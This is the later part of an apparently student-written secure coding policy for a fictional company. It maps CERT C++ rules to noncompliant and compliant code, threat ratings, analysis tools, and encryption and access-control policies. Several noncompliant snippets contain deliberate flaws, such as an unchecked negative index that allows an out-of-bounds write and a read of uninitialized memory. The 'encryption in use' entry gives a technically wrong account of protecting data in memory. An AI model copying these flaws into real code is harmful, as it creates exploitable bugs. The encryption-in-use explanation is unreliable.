| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2023.1 | **CERT\_C-PRE31-b** **CERT\_C-PRE31-c** **CERT\_C-PRE31-d** | Assertions should not contain assignments, increment, or decrement operators Assertions should not contain function calls nor function-like macro calls Avoid side effects in arguments to unsafe macros |
| [PC-lint Plus](https://wiki.sei.cmu.edu/confluence/display/c/PC-lint+Plus) | 1.4 | **666, 2666** | Fully supported |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024a | [CERT C: Rule PRE31-C](https://www.mathworks.com/help/bugfinder/ref/certcrulepre31c.html) | Checks for side effect in arguments to unsafe macro (rule partially covered) |
| [RuleChecker](https://wiki.sei.cmu.edu/confluence/display/c/RuleChecker) | 24.04 | **expanded-side-effect-multiplied** **expanded-side-effect-not-evaluated** **side-effect-not-expanded** | Partially checked |

#### Coding Standard 7

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Exceptions** | ERR-051-CPP | Handle all exceptions. All exceptions thrown by an application must be caught by a matching exception handler. Even if the exception cannot be gracefully recovered from, using the matching exception handler ensures that the stack will be properly unwound and provides an opportunity to gracefully manage external resources before terminating the process. |

| **Noncompliant Code** |
| --- |
| In this noncompliant code example, neither f() nor main() catch exceptions thrown by throwing\_func(). Because no matching handler can be found for the exception thrown, std::terminate() is called. |
| void throwing\_func() noexcept(false);    void f() {  throwing\_func();  }    int main() {  f();  } |

| **Compliant Code** |
| --- |
| In this compliant solution, the main entry point handles all exceptions, which ensures that the stack is unwound up to the main() function and allows for graceful management of external resources. |
| void throwing\_func() noexcept(false);    void f() {  throwing\_func();  }    int main() {  try {  f();  } catch (...) {  // Handle error  }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s): 8.** **Practice Defense in Depth**: Handling all exceptions ensures that unexpected errors or exceptional conditions do not lead to unpredictable behavior or security vulnerabilities. It adds a layer of defense by ensuring that the application maintains stability and security even in the face of unexpected failures.  **10. Adopt a Secure Coding Standard:** A secure coding standard typically includes guidelines on proper exception handling, ensuring that exceptions are consistently managed across the application. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Probable | Medium | P4 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.10 | **main-function-catch-all early-catch-all** | Partially checked |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC++-ERR51** |  |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 8.1p0 | **LANG.STRUCT.UCTCH** | Unreachable Catch |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Helix+QAC) | 2024.1 | **C++4035, C++4036, C++4037** |  |
| [Klocwork](https://www.securecoding.cert.org/confluence/display/cplusplus/Klocwork) | 2024.1 | **MISRA.CATCH.ALL** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | **527 S** | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2023.1 | **CERT\_CPP-ERR51-a** **CERT\_CPP-ERR51-b** | Always catch exceptions Each exception explicitly thrown in the code shall have a handler of a compatible type in all call paths that could lead to that point |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2024a | [CERT C++: ERR51-CPP](https://www.mathworks.com/help/bugfinder/ref/certcerr51cpp.html) | Checks for unhandled exceptions (rule partially covered) |
| [RuleChecker](https://wiki.sei.cmu.edu/confluence/display/cplusplus/RuleChecker) | 22.10 | **main-function-catch-all early-catch-all** | Partially checked |

#### Coding Standard 8

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Namespace** | DCL-058-CPP | Do not modify the standard namespaces. Do not add declarations or definitions to the standard namespaces std or posix, or to a namespace contained therein, except for a template specialization that depends on a user-defined type that meets the standard library requirements for the original template. |

| **Noncompliant Code** |
| --- |
| In this noncompliant code example, the declaration of x is added to the namespace std, resulting in undefined behavior. |
| namespace std {  int x;  } |

| **Compliant Code** |
| --- |
| This compliant solution assumes the intention of the programmer was to place the declaration of x into a namespace to prevent collisions with other global identifiers. Instead of placing the declaration into the namespace std, the declaration is placed into a namespace without a reserved name. |
| namespace nonstd {  int x;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s): 4. Keep It Simple:** Modifying standard namespaces adds complexity and can lead to unexpected behavior, making the codebase harder to maintain and audit.  **10.** **Adopt a Secure Coding Standard**: This principle aligns directly with the guideline to avoid modifying standard namespaces. By adhering to this rule, developers ensure consistency with secure coding practices and reduce the risk of conflicts, unintended behaviors, or vulnerabilities that could arise from modifying core library namespaces. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Unlikely | Medium | P6 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC++-DCL58** |  |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CodeSonar) | 8.1p0 | **LANG.STRUCT.DECL.SNM** | Modification of Standard Namespaces |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Helix+QAC) | 2024.1 | **C++3180, C++3181, C++3182** |  |
| [Klocwork](https://www.securecoding.cert.org/confluence/display/cplusplus/Klocwork) | 2024.1 | **CERT.DCL.STD\_NS\_MODIFIED** |  |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2023.1 | **CERT\_CPP-DCL58-a** | Do not modify the standard namespaces 'std' and 'posix' |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2024a | [CERT C++: DCL58-CPP](https://www.mathworks.com/help/bugfinder/ref/certcdcl58cpp.html) | Checks for modification of standard namespaces (rule fully covered) |
| [PVS-Studio](https://wiki.sei.cmu.edu/confluence/display/cplusplus/PVS-Studio) | 7.31 | [**V1061**](https://pvs-studio.com/en/docs/warnings/v1061/) |  |
| [SonarQube C/C++ Plugin](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88046388) | 4.10 | [**S3470**](https://www.sonarsource.com/products/codeanalyzers/sonarcfamilyforcpp/rules-cpp.html#RSPEC-3470) |  |

#### Coding Standard 9

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Data Value** | EXP-053-CPP | Do not read uninitialized memory. Local, automatic variables assume unexpected values if they are read before they are initialized. |

| **Noncompliant Code** |
| --- |
| In this noncompliant code example, an uninitialized local variable is evaluated as part of an expression to print its value, resulting in undefined behavior. |
| #include <iostream>    void f() {  int i;  std::cout << i;  } |

| **Compliant Code** |
| --- |
| In this compliant solution, the object is initialized prior to printing its value. |
| #include <iostream>    void f() {  int i = 0;  std::cout << i;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s): 2. Heed Compiler Warnings:** Compilers often warn about the use of uninitialized variables. Heeding these warnings helps developers avoid the pitfalls of using uninitialized memory.  **9.** **Use Effective Quality Assurance Techniques**: This principle emphasizes the importance of rigorous testing and code review processes. By implementing effective QA techniques, such as static analysis tools and thorough testing procedures, developers can identify and mitigate issues related to uninitialized memory access early in the development lifecycle. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Probable | Medium | P12 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.10 | **uninitialized-read** | Partially checked |
| [Clang](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Clang) | 3.9 | -Wuninitialized clang-analyzer-core.UndefinedBinaryOperatorResult | Does not catch all instances of this rule, such as uninitialized values read from heap-allocated memory. |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CodeSonar) | 8.1p0 | **LANG.STRUCT.RPL LANG.MEM.UVAR** | Return pointer to local Uninitialized variable |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Helix+QAC) | 2024.1 | **DF726, DF2727, DF2728, DF2961, DF2962, DF2963, DF2966, DF2967, DF2968, DF2971, DF2972, DF2973, DF2976, DF2977, DF978** |  |
| [Klocwork](https://www.securecoding.cert.org/confluence/display/cplusplus/Klocwork) | 2024.1 | **UNINIT.CTOR.MIGHT** **UNINIT.CTOR.MUST** **UNINIT.HEAP.MIGHT** **UNINIT.HEAP.MUST** **UNINIT.STACK.ARRAY.MIGHT** **UNINIT.STACK.ARRAY.MUST** **UNINIT.STACK.ARRAY.PARTIAL.MUST** **UNINIT.STACK.MIGHT** **UNINIT.STACK.MUST** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | **53 D, 69 D, 631 S, 652 S** | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2023.1 | **CERT\_CPP-EXP53-a** | Avoid use before initialization |
| [Parasoft Insure++](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) |  |  | Runtime detection |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2024a | [CERT C++: EXP53-CPP](https://www.mathworks.com/help/bugfinder/ref/certcexp53cpp.html) | Checks for:   * Non-initialized variable * Non-initialized pointer   Rule partially covered. |
| [PVS-Studio](https://wiki.sei.cmu.edu/confluence/display/cplusplus/PVS-Studio) | 7.31 | [**V546**](https://pvs-studio.com/en/docs/warnings/v546/), [**V573**](https://pvs-studio.com/en/docs/warnings/v573/), [**V614**](https://pvs-studio.com/en/docs/warnings/v614/), [**V670**](https://pvs-studio.com/en/docs/warnings/v670/), [**V679**](https://pvs-studio.com/en/docs/warnings/v679/), [**V730**](https://pvs-studio.com/en/docs/warnings/v730/), [**V788**](https://pvs-studio.com/en/docs/warnings/v788/), [**V1007**](https://pvs-studio.com/en/docs/warnings/v1007/), [**V1050**](https://pvs-studio.com/en/docs/warnings/v1050/) |  |
| [RuleChecker](https://wiki.sei.cmu.edu/confluence/display/cplusplus/RuleChecker) | 22.10 | **uninitialized-read** | Partially checked |

#### Coding Standard 10

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Memory Protection** | CTR-050-CPP | Guarantee that container indices and iterators are within the valid range. Ensuring that array references are within the bounds of the array is almost entirely the responsibility of the programmer. Likewise, when using standard template library vectors, the programmer is responsible for ensuring integer indexes are within the bounds of the vector. |

| **Noncompliant Code** |
| --- |
| This noncompliant code example shows a function, insert\_in\_table(), that has two int parameters, pos and value, both of which can be influenced by data originating from untrusted sources. The function performs a range check to ensure that pos does not exceed the upper bound of the array, specified by tableSize, but fails to check the lower bound. Because pos is declared as a (signed) int, this parameter can assume a negative value, resulting in a write outside the bounds of the memory referenced by table. |
| #include <cstddef>    void insert\_in\_table(int \*table, std::size\_t tableSize, int pos, int value) {  if (pos >= tableSize) {  // Handle error  return;  }  table[pos] = value;  } |

| **Compliant Code** |
| --- |
| In this compliant solution, the parameter pos is declared as size\_t, which prevents the passing of negative arguments. |
| #include <cstddef>    void insert\_in\_table(int \*table, std::size\_t tableSize, std::size\_t pos, int value) {  if (pos >= tableSize) {  // Handle error  return;  }  table[pos] = value;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s): 3.** **Architect and Design for Security Policies**: This principle underscores the importance of integrating security into the design and architecture of software. Ensuring that container indices and iterators are properly checked against valid ranges is a fundamental aspect of designing robust and secure software systems.  **Principle 5: Default Deny**. This standard ensures strict boundaries, thereby preventing unauthorized or unintended access to resources within a container. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | High | P9 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.10 | **overflow\_upon\_dereference** |  |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CodeSonar) | 8.1p0 | **LANG.MEM.BO LANG.MEM.BU LANG.MEM.TO LANG.MEM.TU LANG.MEM.TBA LANG.STRUCT.PBB LANG.STRUCT.PPE LANG.STRUCT.PARITH** | Buffer overrun Buffer underrun Type overrun Type underrun Tainted buffer access Pointer before beginning of object Pointer past end of object Pointer Arithmetic |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Helix+QAC) | 2024.1 | **C++3139, C++3140**  **DF2891** |  |
| [Klocwork](https://www.securecoding.cert.org/confluence/display/cplusplus/Klocwork) | 2024.1 | **ABV.ANY\_SIZE\_ARRAY** **ABV.GENERAL** **ABV.GENERAL.MULTIDIMENSION** **ABV.STACK** **ABV.TAINTED** **SV.TAINTED.ALLOC\_SIZE** **SV.TAINTED.CALL.INDEX\_ACCESS** **SV.TAINTED.CALL.LOOP\_BOUND** **SV.TAINTED.INDEX\_ACCESS** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | **45 D, 47 S, 476 S, 489 S, 64 X, 66 X, 68 X, 69 X, 70 X, 71 X, 79 X** | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2023.1 | **CERT\_CPP-CTR50-a** | Guarantee that container indices are within the valid range |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2024a | [CERT C++: CTR50-CPP](https://www.mathworks.com/help/bugfinder/ref/certcctr50cpp.html) | Checks for:   * Array access out of bounds * Array access with tainted index * Pointer dereference with tainted offset   Rule partially covered. |
| [PVS-Studio](https://wiki.sei.cmu.edu/confluence/display/cplusplus/PVS-Studio) | 7.31 | [**V781**](https://pvs-studio.com/en/docs/warnings/v781/) |  |

### Defense-in-Depth Illustration

This illustration provides a visual representation of the defense-in-depth best practice of layered security.



## Project One

There are seven steps outlined below that align with the elements you will be graded on in the accompanying rubric. When you complete these steps, you will have finished the security policy.

### Revise the C/C++ Standards

You completed one of these tables for each of your standards in the Module Three milestone. In Project One, add revisions to improve the explanation and examples as needed. Add rows to accommodate additional examples of compliant and noncompliant code. Coding standards begin on the security policy.

### Risk Assessment

Complete this section on the coding standards tables. Enter high, medium, or low for each of the headers, then rate it overall using a scale from 1 to 5, 5 being the greatest threat. You will address each of the seven policy standards. Fill in the columns of severity, likelihood, remediation cost, priority, and level using the values provided in the appendix.

### Automated Detection

Complete this section of each table on the coding standards to show the tools that may be used to detect issues. Provide the tool name, version, checker, and description. List one or more tools that can automatically detect this issue and its version number, name of the rule or check (preferably with link), and any relevant comments or description—if any. This table ties to a specific C++ coding standard.

### Automation

Provide a written explanation using the image provided.



Automation will be used for the enforcement of and compliance to the standards defined in this policy. Green Pace already has a well-established DevOps process and infrastructure. Define guidance on where and how to modify the existing DevOps process to automate enforcement of the standards in this policy. Use the DevSecOps diagram and provide an explanation using that diagram as context.

In the pre-production part of the process security needs to be addressed in all aspects of planning, design, and building. However, automation in the verify and test phase will ensure that the standards are being used and enforced. Using automation with tools such as [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) and [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) allows for statics analysis and dynamic testing of the code to ensure vulnerabilities are limited.

In the production environment, we need to shift focus from the code itself to what users are doing with it. In the monitor and detect phase we can include automation for logging, intrusion detection and prevention systems, firewalls, and other tools to keep bad actors at bay and create a trail to follow if they do get into something sensitive.

### Summary of Risk Assessments

Consolidate all risk assessments into one table including both coding and systems standards, ordered by standard number.

| Rule | Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- | --- |
| EXP-009-CLG | High | Unlikely | Medium | P6 | L2 |
| INT-031-CLG | High | Probable | High | P6 | L2 |
| STR-030-CLG | Low | Likely | Low | P9 | L2 |
| STR-002-CLG | High | Likely | Medium | P18 | L1 |
| MEM-050-CPP | High | Likely | Medium | P18 | L1 |
| PRE-031-CLG | Low | Unlikely | Low | P3 | L3 |
| ERR-051-CPP | Low | Probable | Medium | P4 | L3 |
| DCL-058-CPP | High | Unlikely | Medium | P6 | L2 |
| EXP-053-CPP | High | Probable | Medium | P12 | L1 |
| CTR-050-CPP | High | Likely | High | P9 | L2 |

### Create Policies for Encryption and Triple A

Include all three types of encryption (in flight, at rest, and in use) and each of the three elements of the Triple-A framework using the tables provided***.***

* 1. Explain each type of encryption, how it is used, and why and when the policy applies.
  2. Explain each type of Triple-A framework strategy, how it is used, and why and when the policy applies.

Write policies for each and explain what it is, how it should be applied in practice, and why it should be used.

| 1. **Encryption** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Encryption at rest | Encryption at rest is encrypting data that is stored in a database. In order to do this, we will encrypt all personal and sensitive data before it is sent to the database and ensure that the key is stored in a separate server. |
| Encryption in flight | Encryption in flight, also known as encryption in transit, refers to the protection of data as it travels across networks, whether it's between clients and servers, between servers, or within a network. To do this we will use a combination of TSL and HTTPS to ensure the data is encrypted while in transit and use a trusted Certificate Authorities. |
| Encryption in use | Encryption is use is the practice of not saving decrypted values while using them for calculations or other uses. If you needed to print a variable to screen for instance you would not do this:  Int display = decrypt(sensitiveInformation);  Cout << display << endl;  This saves the sensitive information in a variable that persists until the program ends or is reassigned. A better way is like this:  Cout << decrypt(sensitiveInformation) << endl;  If a calculation needs to be saved to a variable encrypt it inline. |

| 1. **Triple-A Framework\*** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Authentication | Authentication verifies the identity of a user or system attempting to access resources. It ensures that the entity requesting access is indeed who or what it claims to be.  **User Logins**: Require strong authentication mechanisms such as passwords, multi-factor authentication (MFA), or biometric verification.  **Addition of New Users**: Implement procedures for securely adding new users, including identity verification and assigning appropriate credentials.  **Access Control**: Enforce authentication before granting access to any system or data resource to prevent unauthorized access. |
| Authorization | Authorization determines what actions and resources users are permitted to access after they have been authenticated. It enforces policies that dictate the level of access granted based on the user’s identity and role.  **User Level of Access**: Define roles and permissions that restrict access to specific resources based on the principle of least privilege.  **Files Accessed by Users**: Implement access controls to ensure that users can only access files and data necessary for their tasks.  **Changes to the Database**: Authorize database modifications based on roles and responsibilities, ensuring that only authorized personnel can alter or delete data. |
| Accounting | Accounting tracks and logs actions performed by users, providing a record of activities for security monitoring, auditing, and compliance purposes.  **User Actions**: Monitor and log user actions such as login attempts, failed access attempts, and successful access to sensitive information.  **Changes to the Database**: Log modifications made to the database, including updates, inserts, and deletions, to maintain an audit trail.  **Files Accessed by Users**: Record which files each user accesses, when, and from where, to detect and investigate unauthorized activities. |

**\***Use this checklist for the Triple A to be sure you include these elements in your policy:

* User logins
* Changes to the database
* Addition of new users
* User level of access
* Files accessed by users

### Map the Principles

Map the principles to each of the standards, and provide a justification for the connection between the two. In the Module Three milestone, you added definitions for each of the 10 principles provided. Now it’s time to connect the standards to principles to show how they are supported by principles. You may have more than one principle for each standard, and the principles may be used more than once. Principles are numbered 1 through 10. You will list the number or numbers that apply to each standard, then explain how each of these principles supports the standard. This exercise demonstrates that you have based your security policy on widely accepted principles. Linking principles to standards is a best practice.

**NOTE:** Green Pace has already successfully implemented the following:

* Operating system logs
* Firewall logs
* Anti-malware logs

The only item you must complete beyond this point is the Policy Version History table.

## Audit Controls and Management

Every software development effort must be able to provide evidence of compliance for each software deployed into any Green Pace managed environment.

Evidence will include the following:

* Code compliance to standards
* Well-documented access-control strategies, with sampled evidence of compliance
* Well-documented data-control standards defining the expected security posture of data at rest, in flight, and in use
* Historical evidence of sustained practice (emails, logs, audits, meeting notes)

## Enforcement

The office of the chief information security officer (OCISO) will enforce awareness and compliance of this policy, producing reports for the risk management committee (RMC) to review monthly. Every system deployed in any environment operated by Green Pace is expected to be in compliance with this policy at all times.

Staff members, consultants, or employees found in violation of this policy will be subject to disciplinary action, up to and including termination.

## Exceptions Process

Any exception to the standards in this policy must be requested in writing with the following information:

* Business or technical rationale
* Risk impact analysis
* Risk mitigation analysis
* Plan to come into compliance
* Date for when the plan to come into compliance will be completed

Approval for any exception must be granted by chief information officer (CIO) and the chief information security officer (CISO) or their appointed delegates of officer level.

Exceptions will remain on file with the office of the CISO, which will administer and govern compliance.

## Distribution

This policy is to be distributed to all Green Pace IT staff annually. All IT staff will need to certify acceptance and awareness of this policy annually.

## Policy Change Control

This policy will be automatically reviewed annually, no later than 365 days from the last revision date. Further, it will be reviewed in response to regulatory or compliance changes, and on demand as determined by the OCISO.

## Policy Version History

| Version | Date | Description | Edited By | Approved By |
| --- | --- | --- | --- | --- |
| 1.0 | 08/05/2020 | Initial Template | David Buksbaum |  |
| 2.0 | 06/13/2024 | Project 1 | Brian Engel |  |
| [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] |

## Appendix A Lookups

### Approved C/C++ Language Acronyms

| Language | Acronym |
| --- | --- |
| C++ | CPP |
| C | CLG |
| Java | JAV |